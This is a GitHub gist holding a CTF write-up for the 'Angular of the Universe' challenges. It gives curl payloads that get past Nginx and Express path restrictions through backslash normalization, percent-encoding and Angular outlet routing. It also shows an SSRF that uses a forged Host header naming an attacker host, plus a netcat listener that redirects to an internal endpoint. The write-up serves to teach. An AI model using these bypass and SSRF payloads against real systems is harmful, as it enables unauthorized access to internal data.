Skip to content

Instantly share code, notes, and snippets.

@tyage
Last active September 23, 2020 08:28
Show Gist options
  • Save tyage/9039f0a9faba6d62ebd0a412b8e176a3 to your computer and use it in GitHub Desktop.
Save tyage/9039f0a9faba6d62ebd0a412b8e176a3 to your computer and use it in GitHub Desktop.

flag 1 (Bypass path restriction with Angular router)

If you can render /debug/answer in server-side, you can get the first flag.

Nginx denies accesses to /debug.

  location /debug {
    # IP address restriction.
    # TODO: add allowed IP addresses here
    allow 127.0.0.1;
    deny all;
  }

You can bypass Nginx restriction with \. node.js normalizes /\debug/answer to /debug/answer.

$ curl 'http://universe.chal.ctf.westerns.tokyo/\debug/answer'

There is another path based access restriction. server.ts also blocks the access to debug.

  server.get('*', (req, res) => {
    if (process.env.FLAG && req.path.includes('debug')) {
      return res.status(500).send('debug page is disabled in production env')
    }

But you can bypass this restriction with % encoding. Angular automatically decodes this URL.

Combine both, this is the final payload.

$ curl 'http://universe.chal.ctf.westerns.tokyo/\%64ebug/answer'

Actually, this is not our intended solution. Our intended solution is described in flag 3. Furthermore, I saw some teams solved this challenge with HTTP host header and somes solved with path traversal. That's amazing.

flag 2 (SSRF with Angular HTTP module)

In answer.service.ts, API /api/answer will be called in both client-side and server-side.

  getAnswer() {
    return this.http.get('/api/answer')
  }

When it works in server-side, Angular.js need to complement hostname and schema of the API.

If you are using one of the @nguniversal/*-engine packages (such as @nguniversal/express-engine), this is taken care for you automatically. You don't need to do anything to make relative URLs work on the server. https://angular.io/guide/universal#using-absolute-urls-for-http-data-requests-on-the-server

Angular HTTP module constructs the target URL with its server hostname which derives from Host header in the HTTP request. https://github.com/angular/angular/blob/10.1.x/packages/platform-server/src/http.ts#L119

So, you can overwrite target hostname.

$ curl 'http://universe.chal.ctf.westerns.tokyo/a' -H 'Host: hostname-of-attacker.test'

If your server returns 301 redirect, the server will fetch the result of true-answer API.

$ echo "HTTP/1.1 301 Moved Permanently\r\nLocation:http://127.0.0.1/api/true-answer\r\n\r\n" | sudo nc -l 80

flag 3 (Angular of another Universe)

Flag 3 is similar to flag 1, you can get the flag if you can render /debug/answer in server-side. One of the differences are that Apache was added.

Apache -> Nginx -> Express -> Angular SSR

Therefore, you can't use the bypass using the \.

Also, restriction in the server.ts was changed a bit. req.path.includes('debug') -> req.path.includes('/debug')

Now, you can bypass Nginx restriction with Angular's outlet routing feature. https://angular.io/api/router/Route#multiple-outlets You can use this style of URL in angular.js: /team/11(aux:chat/jim)

With primary tag, you can render default component.

$ curl 'http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment